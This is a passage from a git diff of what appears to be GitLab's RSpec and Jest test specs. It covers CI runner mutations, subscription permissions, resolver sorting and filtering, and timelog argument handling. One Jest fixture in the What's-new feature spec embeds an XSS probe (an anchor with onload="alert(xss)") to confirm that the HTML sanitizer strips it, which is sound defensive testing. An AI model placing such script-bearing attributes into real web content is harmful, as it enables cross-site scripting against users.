+ }),
+ );
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/user_select_spec.js b/spec/frontend/vue_shared/components/user_select_spec.js
index 5a609568220..0fabc6525ea 100644
--- a/spec/frontend/vue_shared/components/user_select_spec.js
+++ b/spec/frontend/vue_shared/components/user_select_spec.js
@@ -49,10 +49,13 @@ describe('User select dropdown', () => {
const findUnassignLink = () => wrapper.find('[data-testid="unassign"]');
const findEmptySearchResults = () => wrapper.find('[data-testid="empty-results"]');
+ const searchQueryHandlerSuccess = jest.fn().mockResolvedValue(projectMembersResponse);
+ const participantsQueryHandlerSuccess = jest.fn().mockResolvedValue(participantsQueryResponse);
+
const createComponent = ({
props = {},
- searchQueryHandler = jest.fn().mockResolvedValue(projectMembersResponse),
- participantsQueryHandler = jest.fn().mockResolvedValue(participantsQueryResponse),
+ searchQueryHandler = searchQueryHandlerSuccess,
+ participantsQueryHandler = participantsQueryHandlerSuccess,
} = {}) => {
fakeApollo = createMockApollo([
[searchUsersQuery, searchQueryHandler],
@@ -91,6 +94,14 @@ describe('User select dropdown', () => {
expect(findParticipantsLoading().exists()).toBe(true);
});
+ it('skips the queries if `isEditing` prop is false', () => {
+ createComponent({ props: { isEditing: false } });
+
+ expect(findParticipantsLoading().exists()).toBe(false);
+ expect(searchQueryHandlerSuccess).not.toHaveBeenCalled();
+ expect(participantsQueryHandlerSuccess).not.toHaveBeenCalled();
+ });
+
it('emits an `error` event if participants query was rejected', async () => {
createComponent({ participantsQueryHandler: mockError });
await waitForPromises();
diff --git a/spec/frontend/vue_shared/components/web_ide_link_spec.js b/spec/frontend/vue_shared/components/web_ide_link_spec.js
index eb23a8ef457..5a6c91bda9f 100644
--- a/spec/frontend/vue_shared/components/web_ide_link_spec.js
+++ b/spec/frontend/vue_shared/components/web_ide_link_spec.js
@@ -3,8 +3,8 @@ import ActionsButton from '~/vue_shared/components/actions_button.vue';
import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
-const TEST_EDIT_URL = '/gitlab-test/test/-/edit/master/';
-const TEST_WEB_IDE_URL = '/-/ide/project/gitlab-test/test/edit/master/-/';
+const TEST_EDIT_URL = '/gitlab-test/test/-/edit/main/';
+const TEST_WEB_IDE_URL = '/-/ide/project/gitlab-test/test/edit/main/-/';
const TEST_GITPOD_URL = 'https://gitpod.test/';
const ACTION_EDIT = {
diff --git a/spec/frontend/whats_new/components/feature_spec.js b/spec/frontend/whats_new/components/feature_spec.js
index 9e9cb59c0d6..8f4b4b08f50 100644
--- a/spec/frontend/whats_new/components/feature_spec.js
+++ b/spec/frontend/whats_new/components/feature_spec.js
@@ -8,7 +8,7 @@ describe("What's new single feature", () => {
const exampleFeature = {
title: 'Compliance pipeline configurations',
body:
- '<p>We are thrilled to announce that it is now possible to define enforceable pipelines that will run for any project assigned a corresponding compliance framework.</p>',
+ '<p data-testid="body-content">We are thrilled to announce that it is now possible to define enforceable pipelines that will run for any project assigned a corresponding <a href="https://en.wikipedia.org/wiki/Compliance_(psychology)" target="_blank" rel="noopener noreferrer" onload="alert(xss)">compliance</a> framework.</p>',
stage: 'Manage',
'self-managed': true,
'gitlab-com': true,
@@ -20,6 +20,7 @@ describe("What's new single feature", () => {
};
const findReleaseDate = () => wrapper.find('[data-testid="release-date"]');
+ const findBodyAnchor = () => wrapper.find('[data-testid="body-content"] a');
const createWrapper = ({ feature } = {}) => {
wrapper = shallowMount(Feature, {
@@ -43,4 +44,13 @@ describe("What's new single feature", () => {
expect(findReleaseDate().exists()).toBe(false);
});
});
+
+ it('safe-html config allows target attribute on elements', () => {
+ createWrapper({ feature: exampleFeature });
+ expect(findBodyAnchor().attributes()).toEqual({
+ href: expect.any(String),
+ rel: 'noopener noreferrer',
+ target: '_blank',
+ });
+ });
});
diff --git a/spec/generator_helper.rb b/spec/generator_helper.rb
deleted file mode 100644
index d35eaac45bd..00000000000
--- a/spec/generator_helper.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.configure do |config|
- # Redirect stdout so specs don't have so much noise
- config.before(:all) do
- $stdout = StringIO.new
- end
-
- # Reset stdout
- config.after(:all) do
- $stdout = STDOUT
- end
-end
diff --git a/spec/graphql/mutations/ci/runner/delete_spec.rb b/spec/graphql/mutations/ci/runner/delete_spec.rb
new file mode 100644
index 00000000000..82873c96c3e
--- /dev/null
+++ b/spec/graphql/mutations/ci/runner/delete_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Ci::Runner::Delete do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:runner) { create(:ci_runner) }
+
+ let(:current_ctx) { { current_user: user } }
+
+ let(:mutation_params) do
+ {
+ id: runner.to_global_id
+ }
+ end
+
+ specify { expect(described_class).to require_graphql_authorizations(:delete_runner) }
+
+ describe '#resolve' do
+ subject do
+ sync(resolve(described_class, args: mutation_params, ctx: current_ctx))
+ end
+
+ context 'when the user cannot admin the runner' do
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'with invalid params' do
+ it 'raises an error' do
+ mutation_params[:id] = "invalid-id"
+
+ expect { subject }.to raise_error(::GraphQL::CoercionError)
+ end
+ end
+
+ context 'when required arguments are missing' do
+ let(:mutation_params) { {} }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError, "missing keyword: :id")
+ end
+ end
+
+ context 'when user can delete owned runner' do
+ let_it_be(:project) { create(:project, creator_id: user.id) }
+ let_it_be(:project_runner, reload: true) { create(:ci_runner, :project, description: 'Project runner', projects: [project]) }
+
+ before_all do
+ project.add_maintainer(user)
+ end
+
+ context 'with one associated project' do
+ it 'deletes runner' do
+ mutation_params[:id] = project_runner.to_global_id
+
+ expect { subject }.to change { Ci::Runner.count }.by(-1)
+ expect(subject[:errors]).to be_empty
+ end
+ end
+
+ context 'with more than one associated project' do
+ let_it_be(:project2) { create(:project, creator_id: user.id) }
+ let_it_be(:two_projects_runner) { create(:ci_runner, :project, description: 'Two projects runner', projects: [project, project2]) }
+
+ before_all do
+ project2.add_maintainer(user)
+ end
+
+ it 'does not delete project runner' do
+ mutation_params[:id] = two_projects_runner.to_global_id
+
+ expect { subject }.not_to change { Ci::Runner.count }
+ expect(subject[:errors]).to contain_exactly("Runner #{two_projects_runner.to_global_id} associated with more than one project")
+ end
+ end
+ end
+
+ context 'when admin can delete runner', :enable_admin_mode do
+ let(:admin_user) { create(:user, :admin) }
+ let(:current_ctx) { { current_user: admin_user } }
+
+ it 'deletes runner' do
+ expect { subject }.to change { Ci::Runner.count }.by(-1)
+ expect(subject[:errors]).to be_empty
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/ci/runner/update_spec.rb b/spec/graphql/mutations/ci/runner/update_spec.rb
new file mode 100644
index 00000000000..3db0d552a05
--- /dev/null
+++ b/spec/graphql/mutations/ci/runner/update_spec.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Ci::Runner::Update do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:runner) { create(:ci_runner, active: true, locked: false, run_untagged: true) }
+
+ let(:current_ctx) { { current_user: user } }
+ let(:mutated_runner) { subject[:runner] }
+
+ let(:mutation_params) do
+ {
+ id: runner.to_global_id,
+ description: 'updated description'
+ }
+ end
+
+ specify { expect(described_class).to require_graphql_authorizations(:update_runner) }
+
+ describe '#resolve' do
+ subject do
+ sync(resolve(described_class, args: mutation_params, ctx: current_ctx))
+ end
+
+ context 'when the user cannot admin the runner' do
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'with invalid params' do
+ it 'raises an error' do
+ mutation_params[:id] = "invalid-id"
+
+ expect { subject }.to raise_error(::GraphQL::CoercionError)
+ end
+ end
+
+ context 'when required arguments are missing' do
+ let(:mutation_params) { {} }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError, "missing keyword: :id")
+ end
+ end
+
+ context 'when user can update runner', :enable_admin_mode do
+ let(:admin_user) { create(:user, :admin) }
+ let(:current_ctx) { { current_user: admin_user } }
+
+ let(:mutation_params) do
+ {
+ id: runner.to_global_id,
+ description: 'updated description',
+ maximum_timeout: 900,
+ access_level: 'ref_protected',
+ active: false,
+ locked: true,
+ run_untagged: false,
+ tag_list: %w(tag1 tag2)
+ }
+ end
+
+ context 'with valid arguments' do
+ it 'updates runner with correct values' do
+ expected_attributes = mutation_params.except(:id, :tag_list)
+
+ subject
+
+ expect(subject[:errors]).to be_empty
+ expect(subject[:runner]).to be_an_instance_of(Ci::Runner)
+ expect(subject[:runner]).to have_attributes(expected_attributes)
+ expect(subject[:runner].tag_list).to contain_exactly(*mutation_params[:tag_list])
+ expect(runner.reload).to have_attributes(expected_attributes)
+ expect(runner.tag_list).to contain_exactly(*mutation_params[:tag_list])
+ end
+ end
+
+ context 'with out-of-range maximum_timeout and missing tag_list' do
+ it 'returns a descriptive error' do
+ mutation_params[:maximum_timeout] = 100
+ mutation_params.delete(:tag_list)
+
+ expect(subject[:errors]).to contain_exactly(
+ 'Maximum timeout needs to be at least 10 minutes',
+ 'Tags list can not be empty when runner is not allowed to pick untagged jobs'
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/commits/create_spec.rb b/spec/graphql/mutations/commits/create_spec.rb
index 152b5d87da0..097e70bada6 100644
--- a/spec/graphql/mutations/commits/create_spec.rb
+++ b/spec/graphql/mutations/commits/create_spec.rb
@@ -74,6 +74,10 @@ RSpec.describe Mutations::Commits::Create do
expect(commit_pipeline_path).to match(%r(pipelines/sha/\w+))
end
+ it 'returns the content of the commit' do
+ expect(subject[:content]).to eq(actions.pluck(:content))
+ end
+
it 'returns a new commit' do
expect(mutated_commit).to have_attributes(message: message, project: project)
expect(subject[:errors]).to be_empty
@@ -166,6 +170,7 @@ RSpec.describe Mutations::Commits::Create do
it 'returns a new commit' do
expect(mutated_commit).to have_attributes(message: message, project: project)
expect(subject[:errors]).to be_empty
+ expect(subject[:content]).to eq(actions.pluck(:content))
expect_to_contain_deltas([
a_hash_including(a_mode: '0', b_mode: '100644', new_file: true, new_path: 'ANOTHER_FILE.md')
diff --git a/spec/graphql/mutations/design_management/upload_spec.rb b/spec/graphql/mutations/design_management/upload_spec.rb
index ada88b7652c..1e585e55be4 100644
--- a/spec/graphql/mutations/design_management/upload_spec.rb
+++ b/spec/graphql/mutations/design_management/upload_spec.rb
@@ -105,7 +105,7 @@ RSpec.describe Mutations::DesignManagement::Upload do
context "with a valid design" do
it "returns the updated designs" do
- expect(resolve[:errors]).to eq []
+ expect(resolve[:errors]).to be_empty
expect(resolve[:designs].map(&:filename)).to contain_exactly("dk.png")
end
end
diff --git a/spec/graphql/mutations/issues/set_subscription_spec.rb b/spec/graphql/mutations/issues/set_subscription_spec.rb
index 9e05a136c0b..7e2c3d93c51 100644
--- a/spec/graphql/mutations/issues/set_subscription_spec.rb
+++ b/spec/graphql/mutations/issues/set_subscription_spec.rb
@@ -3,8 +3,38 @@
require 'spec_helper'
RSpec.describe Mutations::Issues::SetSubscription do
- it_behaves_like 'a subscribeable graphql resource' do
- let_it_be(:resource) { create(:issue) }
- let(:permission_name) { :update_issue }
+ let_it_be_with_reload(:project) { create(:project) }
+ let_it_be_with_reload(:resource) { create(:issue, project: project) }
+ let_it_be(:user) { create(:user) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:update_subscription) }
+
+ context 'when user does not have access to the project' do
+ it_behaves_like 'a subscribeable not accessible graphql resource'
+ end
+
+ context 'when user is developer member of the project' do
+ before do
+ project.add_developer(user)
+ end
+
+ it_behaves_like 'a subscribeable graphql resource'
+ end
+
+ context 'when the project is public' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ end
+
+ it_behaves_like 'a subscribeable graphql resource'
+ end
+
+ context 'when the project is public but the issue is confidential' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ resource.update!(confidential: true)
+ end
+
+ it_behaves_like 'a subscribeable not accessible graphql resource'
end
end
diff --git a/spec/graphql/mutations/issues/update_spec.rb b/spec/graphql/mutations/issues/update_spec.rb
index 6d6a5b94219..bd780477658 100644
--- a/spec/graphql/mutations/issues/update_spec.rb
+++ b/spec/graphql/mutations/issues/update_spec.rb
@@ -69,33 +69,17 @@ RSpec.describe Mutations::Issues::Update do
context 'when changing state' do
let_it_be_with_refind(:issue) { create(:issue, project: project, state: :opened) }
- before do
- mutation_params[:state_event] = state_event
- end
-
- context 'when state_event is close' do
- let_it_be(:removable_label) { create(:label, project: project, remove_on_close: true, issues: [issue]) }
+ it 'closes issue' do
+ mutation_params[:state_event] = 'close'
- let(:state_event) { 'close' }
-
- it 'closes issue' do
- expect do
- subject
- issue.reload
- end.to change(issue, :state).from('opened').to('closed').and(
- change { issue.label_ids }.from([removable_label.id]).to([])
- )
- end
+ expect { subject }.to change { issue.reload.state }.from('opened').to('closed')
end
- context 'when state_event is reopen' do
- let(:state_event) { 'reopen' }
-
- it 'reopens issue' do
- issue.close
+ it 'reopens issue' do
+ issue.close
+ mutation_params[:state_event] = 'reopen'
- expect { subject }.to change { issue.reload.state }.from('closed').to('opened')
- end
+ expect { subject }.to change { issue.reload.state }.from('closed').to('opened')
end
end
diff --git a/spec/graphql/mutations/merge_requests/set_subscription_spec.rb b/spec/graphql/mutations/merge_requests/set_subscription_spec.rb
index 600053637c9..377042f068c 100644
--- a/spec/graphql/mutations/merge_requests/set_subscription_spec.rb
+++ b/spec/graphql/mutations/merge_requests/set_subscription_spec.rb
@@ -3,8 +3,30 @@
require 'spec_helper'
RSpec.describe Mutations::MergeRequests::SetSubscription do
- it_behaves_like 'a subscribeable graphql resource' do
- let_it_be(:resource) { create(:merge_request) }
- let(:permission_name) { :update_merge_request }
+ let_it_be_with_reload(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+
+ let(:resource) { create(:merge_request, source_project: project, target_project: project) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:update_subscription) }
+
+ context 'when user does not have access to the project' do
+ it_behaves_like 'a subscribeable not accessible graphql resource'
+ end
+
+ context 'when user is developer member of the project' do
+ before do
+ project.add_developer(user)
+ end
+
+ it_behaves_like 'a subscribeable graphql resource'
+ end
+
+ context 'when the project is public' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ end
+
+ it_behaves_like 'a subscribeable graphql resource'
end
end
diff --git a/spec/graphql/mutations/todos/mark_all_done_spec.rb b/spec/graphql/mutations/todos/mark_all_done_spec.rb
index f3b6bf52ef7..1e12d86aa18 100644
--- a/spec/graphql/mutations/todos/mark_all_done_spec.rb
+++ b/spec/graphql/mutations/todos/mark_all_done_spec.rb
@@ -21,26 +21,25 @@ RSpec.describe Mutations::Todos::MarkAllDone do
describe '#resolve' do
it 'marks all pending todos as done' do
- updated_todo_ids, todos = mutation_for(current_user).resolve.values_at(:updated_ids, :todos)
+ todos = mutation_for(current_user).resolve[:todos]
expect(todo1.reload.state).to eq('done')
expect(todo2.reload.state).to eq('done')
expect(todo3.reload.state).to eq('done')
expect(other_user_todo.reload.state).to eq('pending')
- expect(updated_todo_ids).to contain_exactly(todo1.id, todo3.id)
expect(todos).to contain_exactly(todo1, todo3)
end
it 'behaves as expected if there are no todos for the requesting user' do
- updated_todo_ids = mutation_for(user3).resolve.dig(:updated_ids)
+ todos = mutation_for(user3).resolve[:todos]
expect(todo1.reload.state).to eq('pending')
expect(todo2.reload.state).to eq('done')
expect(todo3.reload.state).to eq('pending')
expect(other_user_todo.reload.state).to eq('pending')
- expect(updated_todo_ids).to be_empty
+ expect(todos).to be_empty
end
context 'when user is not logged in' do
diff --git a/spec/graphql/resolvers/boards_resolver_spec.rb b/spec/graphql/resolvers/boards_resolver_spec.rb
index 221e905f441..07d0902d3ba 100644
--- a/spec/graphql/resolvers/boards_resolver_spec.rb
+++ b/spec/graphql/resolvers/boards_resolver_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Resolvers::BoardsResolver do
shared_examples_for 'group and project boards resolver' do
it 'does not create a default board' do
- expect(resolve_boards).to eq []
+ expect(resolve_boards).to be_empty
end
it 'calls Boards::BoardsFinder' do
diff --git a/spec/graphql/resolvers/ci/runners_resolver_spec.rb b/spec/graphql/resolvers/ci/runners_resolver_spec.rb
index 006d6785506..5ac15d5729f 100644
--- a/spec/graphql/resolvers/ci/runners_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/runners_resolver_spec.rb
@@ -10,15 +10,15 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
let_it_be(:project) { create(:project, :repository, :public) }
let_it_be(:inactive_project_runner) do
- create(:ci_runner, :project, projects: [project], active: false, contacted_at: 1.minute.ago, tag_list: %w(project_runner))
+ create(:ci_runner, :project, projects: [project], description: 'inactive project runner', token: 'abcdef', active: false, contacted_at: 1.minute.ago, tag_list: %w(project_runner))
end
let_it_be(:offline_project_runner) do
- create(:ci_runner, :project, projects: [project], contacted_at: 1.day.ago, tag_list: %w(project_runner active_runner))
+ create(:ci_runner, :project, projects: [project], description: 'offline project runner', token: 'defghi', contacted_at: 1.day.ago, tag_list: %w(project_runner active_runner))
end
- let_it_be(:group_runner) { create(:ci_runner, :group, groups: [group], contacted_at: 1.second.ago) }
- let_it_be(:instance_runner) { create(:ci_runner, :instance, contacted_at: 2.minutes.ago, tag_list: %w(instance_runner active_runner)) }
+ let_it_be(:group_runner) { create(:ci_runner, :group, groups: [group], token: 'mnopqr', description: 'group runner', contacted_at: 1.second.ago) }
+ let_it_be(:instance_runner) { create(:ci_runner, :instance, description: 'shared runner', token: 'stuvxz', contacted_at: 2.minutes.ago, tag_list: %w(instance_runner active_runner)) }
describe '#resolve' do
subject { resolve(described_class, ctx: { current_user: user }, args: args).items.to_a }
@@ -27,6 +27,14 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
{}
end
+ context 'when the user cannot see runners' do
+ let(:user) { create(:user) }
+
+ it 'returns no runners' do
+ is_expected.to be_empty
+ end
+ end
+
context 'without sort' do
it 'returns all the runners' do
is_expected.to contain_exactly(inactive_project_runner, offline_project_runner, group_runner, instance_runner)
@@ -42,13 +50,29 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
it { is_expected.to eq([offline_project_runner, instance_runner, inactive_project_runner, group_runner]) }
end
- context "set to :created_date" do
+ context "set to :contacted_desc" do
+ let(:args) do
+ { sort: :contacted_desc }
+ end
+
+ it { is_expected.to eq([offline_project_runner, instance_runner, inactive_project_runner, group_runner].reverse) }
+ end
+
+ context "set to :created_at_desc" do
let(:args) do
- { sort: :created_date }
+ { sort: :created_at_desc }
end
it { is_expected.to eq([instance_runner, group_runner, offline_project_runner, inactive_project_runner]) }
end
+
+ context "set to :created_at_asc" do
+ let(:args) do
+ { sort: :created_at_asc }
+ end
+
+ it { is_expected.to eq([instance_runner, group_runner, offline_project_runner, inactive_project_runner].reverse) }
+ end
end
context 'when type is filtered' do
@@ -132,5 +156,35 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
end
end
end
+
+ context 'when text is filtered' do
+ let(:args) do
+ { search: search_term }
+ end
+
+ context 'to "project"' do
+ let(:search_term) { 'project' }
+
+ it 'returns both project runners' do
+ is_expected.to contain_exactly(inactive_project_runner, offline_project_runner)
+ end
+ end
+
+ context 'to "group"' do
+ let(:search_term) { 'group' }
+
+ it 'returns group runner' do
+ is_expected.to contain_exactly(group_runner)
+ end
+ end
+
+ context 'to "defghi"' do
+ let(:search_term) { 'defghi' }
+
+ it 'returns runners containing term in token' do
+ is_expected.to contain_exactly(offline_project_runner)
+ end
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb b/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
index e9e7fff6e6e..8d15d7eda1b 100644
--- a/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
+++ b/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
@@ -4,7 +4,6 @@ require 'spec_helper'
RSpec.describe ::CachingArrayResolver do
include GraphqlHelpers
- include Gitlab::Graphql::Laziness
let_it_be(:admins) { create_list(:user, 4, admin: true) }
let(:query_context) { { current_user: admins.first } }
diff --git a/spec/graphql/resolvers/group_packages_resolver_spec.rb b/spec/graphql/resolvers/group_packages_resolver_spec.rb
index 48f4c8ec4ca..eba3a5f2de8 100644
--- a/spec/graphql/resolvers/group_packages_resolver_spec.rb
+++ b/spec/graphql/resolvers/group_packages_resolver_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Resolvers::GroupPackagesResolver do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group, :public) }
- let_it_be(:project) { create(:project, :public, group: group) }
+ let_it_be(:project) { create(:project, :public, group: group, path: 'a') }
let(:args) do
{ sort: :created_desc }
@@ -17,5 +17,25 @@ RSpec.describe Resolvers::GroupPackagesResolver do
subject { resolve(described_class, ctx: { current_user: user }, obj: group, args: args).to_a }
it_behaves_like 'group and projects packages resolver'
+
+ describe 'project_path sorting' do
+ let_it_be(:project2) { create(:project, :public, group: group, path: 'b') }
+ let_it_be(:package) { create(:package, project: project ) }
+ let_it_be(:package2) { create(:package, project: project2 ) }
+ let_it_be(:package3) { create(:package, project: project ) }
+ let_it_be(:package4) { create(:package, project: project2 ) }
+
+ context 'filter by package_name' do
+ let(:args) { { sort: :project_path_desc } }
+
+ it { is_expected.to eq([package4, package2, package3, package]) }
+ end
+
+ context 'filter by package_type' do
+ let(:args) { { sort: :project_path_asc } }
+
+ it { is_expected.to eq([package, package3, package2, package4]) }
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/package_details_resolver_spec.rb b/spec/graphql/resolvers/package_details_resolver_spec.rb
index 1bdc069b3bb..d6acb31d4e3 100644
--- a/spec/graphql/resolvers/package_details_resolver_spec.rb
+++ b/spec/graphql/resolvers/package_details_resolver_spec.rb
@@ -4,7 +4,6 @@ require 'spec_helper'
RSpec.describe Resolvers::PackageDetailsResolver do
include GraphqlHelpers
- include ::Gitlab::Graphql::Laziness
let_it_be_with_reload(:project) { create(:project) }
let_it_be(:user) { project.owner }
diff --git a/spec/graphql/resolvers/projects_resolver_spec.rb b/spec/graphql/resolvers/projects_resolver_spec.rb
index 34ddc9cd8cb..2f2aacb9ad5 100644
--- a/spec/graphql/resolvers/projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects_resolver_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Resolvers::ProjectsResolver do
let_it_be(:group) { create(:group, name: 'public-group') }
let_it_be(:private_group) { create(:group, name: 'private-group') }
- let_it_be(:project) { create(:project, :public) }
+ let_it_be(:project) { create(:project, :public, topic_list: %w(ruby javascript)) }
let_it_be(:other_project) { create(:project, :public) }
let_it_be(:group_project) { create(:project, :public, group: group) }
let_it_be(:private_project) { create(:project, :private) }
@@ -70,6 +70,14 @@ RSpec.describe Resolvers::ProjectsResolver do
is_expected.to be_empty
end
end
+
+ context 'when topics filter is provided' do
+ let(:filters) { { topics: %w(ruby) } }
+
+ it 'returns matching project' do
+ is_expected.to contain_exactly(project)
+ end
+ end
end
end
@@ -138,6 +146,14 @@ RSpec.describe Resolvers::ProjectsResolver do
is_expected.to match_array([named_project3, named_project1, named_project2])
end
end
+
+ context 'when topics filter is provided' do
+ let(:filters) { { topics: %w(ruby) } }
+
+ it 'returns matching project' do
+ is_expected.to contain_exactly(project)
+ end
+ end
end
end
end
diff --git a/spec/graphql/resolvers/timelog_resolver_spec.rb b/spec/graphql/resolvers/timelog_resolver_spec.rb
index 585cd657e35..bb4938c751f 100644
--- a/spec/graphql/resolvers/timelog_resolver_spec.rb
+++ b/spec/graphql/resolvers/timelog_resolver_spec.rb
@@ -11,26 +11,27 @@ RSpec.describe Resolvers::TimelogResolver do
context "with a group" do
let_it_be(:current_user) { create(:user) }
- let_it_be(:group) { create(:group) }
- let_it_be(:project) { create(:project, :public, group: group) }
-
- before_all do
- group.add_developer(current_user)
- project.add_developer(current_user)
- end
-
- before do
- group.clear_memoization(:timelogs)
- end
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :empty_repo, :public, group: group) }
describe '#resolve' do
+ let_it_be(:short_time_ago) { 5.days.ago.beginning_of_day }
+ let_it_be(:medium_time_ago) { 15.days.ago.beginning_of_day }
+
let_it_be(:issue) { create(:issue, project: project) }
- let_it_be(:issue2) { create(:issue, project: project) }
- let_it_be(:timelog1) { create(:issue_timelog, issue: issue, spent_at: 2.days.ago.beginning_of_day) }
- let_it_be(:timelog2) { create(:issue_timelog, issue: issue2, spent_at: 2.days.ago.end_of_day) }
- let_it_be(:timelog3) { create(:issue_timelog, issue: issue2, spent_at: 10.days.ago) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+
+ let_it_be(:timelog1) { create(:issue_timelog, issue: issue, spent_at: short_time_ago.beginning_of_day) }
+ let_it_be(:timelog2) { create(:issue_timelog, issue: issue, spent_at: short_time_ago.end_of_day) }
+ let_it_be(:timelog3) { create(:merge_request_timelog, merge_request: merge_request, spent_at: medium_time_ago) }
+
+ let(:args) { { start_time: short_time_ago, end_time: short_time_ago.noon } }
+
+ it 'finds all timelogs' do
+ timelogs = resolve_timelogs
- let(:args) { { start_time: 6.days.ago, end_time: 2.days.ago.noon } }
+ expect(timelogs).to contain_exactly(timelog1, timelog2, timelog3)
+ end
it 'finds all timelogs within given dates' do
timelogs = resolve_timelogs(**args)
@@ -38,15 +39,28 @@ RSpec.describe Resolvers::TimelogResolver do
expect(timelogs).to contain_exactly(timelog1)
end
- it 'return nothing when user has insufficient permissions' do
- user = create(:user)
- group.add_guest(current_user)
+ context 'when only start_date is present' do
+ let(:args) { { start_date: short_time_ago } }
+
+ it 'finds timelogs until the end of day of end_date' do
+ timelogs = resolve_timelogs(**args)
+
+ expect(timelogs).to contain_exactly(timelog1, timelog2)
+ end
+ end
+
+ context 'when only end_date is present' do
+ let(:args) { { end_date: medium_time_ago } }
+
+ it 'finds timelogs until the end of day of end_date' do
+ timelogs = resolve_timelogs(**args)
- expect(resolve_timelogs(user: user, **args)).to be_empty
+ expect(timelogs).to contain_exactly(timelog3)
+ end
end
context 'when start_time and end_date are present' do
- let(:args) { { start_time: 6.days.ago, end_date: 2.days.ago } }
+ let(:args) { { start_time: short_time_ago, end_date: short_time_ago } }
it 'finds timelogs until the end of day of end_date' do
timelogs = resolve_timelogs(**args)
@@ -56,7 +70,7 @@ RSpec.describe Resolvers::TimelogResolver do
end
context 'when start_date and end_time are present' do
- let(:args) { { start_date: 6.days.ago, end_time: 2.days.ago.noon } }
+ let(:args) { { start_date: short_time_ago, end_time: short_time_ago.noon } }
it 'finds all timelogs within start_date and end_time' do
timelogs = resolve_timelogs(**args)
@@ -68,95 +82,32 @@ RSpec.describe Resolvers::TimelogResolver do
context 'when arguments are invalid' do
let_it_be(:error_class) { Gitlab::Graphql::Errors::ArgumentError }
- context 'when no time or date arguments are present' do
- let(:args) { {} }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Start and End arguments must be present/)
- end
- end
-
- context 'when only start_time is present' do
- let(:args) { { start_time: 6.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
- end
- end
-
- context 'when only end_time is present' do
- let(:args) { { end_time: 2.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
- end
- end
-
- context 'when only start_date is present' do
- let(:args) { { start_date: 6.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
- end
- end
-
- context 'when only end_date is present' do
- let(:args) { { end_date: 2.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
- end
- end
-
context 'when start_time and start_date are present' do
- let(:args) { { start_time: 6.days.ago, start_date: 6.days.ago } }
+ let(:args) { { start_time: short_time_ago, start_date: short_time_ago } }
it 'returns correct error' do
expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
+ .to raise_error(error_class, /Provide either a start date or time, but not both/)
end
end
context 'when end_time and end_date are present' do
- let(:args) { { end_time: 2.days.ago, end_date: 2.days.ago } }
+ let(:args) { { end_time: short_time_ago, end_date: short_time_ago } }
it 'returns correct error' do
expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Both Start and End arguments must be present/)
- end
- end
-
- context 'when three arguments are present' do
- let(:args) { { start_date: 6.days.ago, end_date: 2.days.ago, end_time: 2.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /Only Time or Date arguments must be present/)
+ .to raise_error(error_class, /Provide either an end date or time, but not both/)
end
end
context 'when start argument is after end argument' do
- let(:args) { { start_time: 2.days.ago, end_time: 6.days.ago } }
+ let(:args) { { start_time: short_time_ago, end_time: medium_time_ago } }
it 'returns correct error' do
expect { resolve_timelogs(**args) }
.to raise_error(error_class, /Start argument must be before End argument/)
end
end
-
- context 'when time range is more than 60 days' do
- let(:args) { { start_time: 3.months.ago, end_time: 2.days.ago } }
-
- it 'returns correct error' do
- expect { resolve_timelogs(**args) }
- .to raise_error(error_class, /The time range period cannot contain more than 60 days/)
